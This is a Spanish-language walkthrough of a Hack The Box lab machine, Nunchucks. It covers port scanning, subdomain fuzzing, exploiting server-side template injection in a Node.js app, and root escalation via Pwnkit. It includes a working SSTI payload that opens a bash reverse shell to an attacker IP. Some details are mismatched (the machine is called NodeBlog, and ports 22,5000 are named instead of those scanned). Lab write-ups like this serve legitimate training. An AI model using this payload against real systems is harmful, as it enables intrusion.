En la fase de escalada de privilegios, se centró la atención en la búsqueda de binarios con permisos SUID. Se identificó el binario 'pkexec' como una posible vía de explotación, lo que llevó a la utilización de la vulnerabilidad Pwnkit para obtener una shell con privilegios de root. Este paso culminó con la captura de la última flag, completando exitosamente la resolución de esta máquina.
KeyWords: Port enumeration, fuzzing, SSTI, RCE, Pwnkit.
Palabras Clave: Enumeración de puertos, fuzzing, SSTI, RCE, Pwnkit.
Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina NodeBlog y de esta forma conocer cuales están abiertos.
> sudo nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.11.122 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 08:20 CET
Initiating SYN Stealth Scan at 08:20
Scanning 10.10.11.122 [65535 ports]
Discovered open port 443/tcp on 10.10.11.122
Discovered open port 22/tcp on 10.10.11.122
Discovered open port 80/tcp on 10.10.11.122
Completed SYN Stealth Scan at 08:20, 13.96s elapsed (65535 total ports)
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.046s latency).
Scanned at 2024-01-23 08:20:26 CET for 14s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.08 seconds
Raw packets sent: 65633 (2.888MB) | Rcvd: 65535 (2.621MB)
| Parámetros Nmap | |
|---|---|
| -p- | Escanea todos los 65535 puertos |
| –open | Solo muestra los puertos abiertos |
| -sS | Escaneo TCP SYN |
| –min-rate | Envío mínimo de paquetes |
| -vvv | Muestra la información del escaneo mientras está ejecutándose |
| -n | No realiza resolución DNS |
| -Pn | No realiza Host Discovery |
| -oG | Exporta el output en un archivo con formato grepeable |
Se confirma que tiene abiertos los siguientes puertos abiertos: 22,5000; por lo que mediante el archivo grepeable que creó anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.
> extractPorts allPorts
[+] Extracting Information....
[+] IP Address: 10.10.11.122
[+] Open Ports: 22,80,443
[+] Ports copied to clipboard
Con esta siguiente consulta se buscará enumerar que servicios están expuestos y sus respectivas versiones.
> sudo nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 08:22 CET
Nmap scan report for store.nunchucks.htb (10.10.11.122)
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
|_http-title: Nunchucks Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.15 seconds
| Parámetros Nmap | |
|---|---|
| -sC | Conjunto de Scripts básicos de reconocimiento |
| -sV | Verificación de las versiones de los servicios expuestos |
| -oN | Guarda el output en un archivo |
Se procede hacer la enumeración de las tecnologías utilizando whatweb se observa que redirige al dominio nunchucks.htb por lo que se procede a añadir ese dominio al archivo /etc/hosts, para que pueda resolver y de esta manera observar que tecnologías utiliza la página expuesta en el puerto 443.
Con el dominio añadido en el archivo /etc/hosts, al utilizar la herramienta podrá resolver el dns y lograr enumerar las tecnologías usadas en la página.
La información más relevante que se oberva es el uso del entorno de trabajo Express, indicando que por detrás existe un NodeJS, pero no es algo que se pueda explotar en este momento, por ende se va al navegador para enumerar y obtener información directamente de la página web.
Enumerando la página web principal, se encuentra un formulario para el registro de usuarios, pero al momento de querer registrarse salta una mensaje indicando que este servicio se encuentra cerrado.
Se procede hacer la misma revición en el formulario de inicio de sesión, pero pasa que tampoco el servicio se encuentra disponible. Por ende, se realiza un fuzzing de virtual hosting con la ayuda de la herramienta wfuzz. Se logra encontrar el subdominio 'store'.
Se añade el subdominio 'store', al archivo /etc/hosts.
En la página web que se encuentra expuesta en el subdominio 'store', se puede observar un campo para ingresar un email. Al ingresar un correo, este se muestra en la página.
Se procede a revisar que este campo es vulnerable a Server Side Template Injection (SSTI), haciendo una prueba en donde si realiza la operación matemática que se coloca entre doble llaves confirmaría que es vulnerable.En este caso, se confirma que el campo si es vulnerable a SSTI.
Para explotar esta vulnerabilidad, se puede dirigir a la página de Hacktricks y sabiendo que corre por detrás un NodeJS, se busca por este término y vemos que uno de los resultados coincide con el nombre de la máquina.
Con burpsuite se captura la petición enviándola al repeater, para que de esta manera probar la ejecución de comandos. Se ejecuta el comando tail para la lectura del archivo /etc/passwd.
Confirmado que se tiene capacidad de RCE, en la máquina atacante se pondrá en escucha por el puerto 443 y en el burpsuite se procede a escribir el one liner para la obtención de una reverse shell. Se envía la petición obteniendo una shell como el usuario david.
{
"email":"\"{{range.constructor('return global.process.mainModule.require(\\'child_process\\').execSync(\\'bash -c \" bash -i >& /dev/tcp/10.10.14.81/443 0>&1\"\\')')()}}@test.com\""
}
Se obtiene acceso a la máquina como el usuario david, por lo que se procede a capturar la user flag.
Se procede a enumerar los binarios con permisos SUID, como resultado se encuentra el binario pkexec. Se ejecuta este binario para conocer la versión, y se confirma que tiene una versión que es vulnerable a CVE-2021-4034 (Pwnkit).
Para explotar esta vulnerabilidad, se puede visitar el repositorio PwnKit . En el README se encontrará como explotar esta vulnerabilidad.
Usando curl en la máquina atacante se procede a descargar el exploit y se le da permisos de ejecución.
Para pasar el exploit, se copia la llave publica de ssh de la máquina atacante y se crea el archivo athorized_keys dentro de la máquina víctima donde se pegará lo que copiamos anteriormente. De esta manera se pueda conectar a la máquina víctima por ssh sin necesidad de ingresar la contraseña, además se puede enviar archivos usando el comando scp.
Se envía el exploit a la máquina vćitima haciendo uso de scp. El archivo será enviado al directorio /tmp.
Se ejecuta el exploit, se obtiene una shell como el usuario root.
Captura exitosa de la flag del usurio root.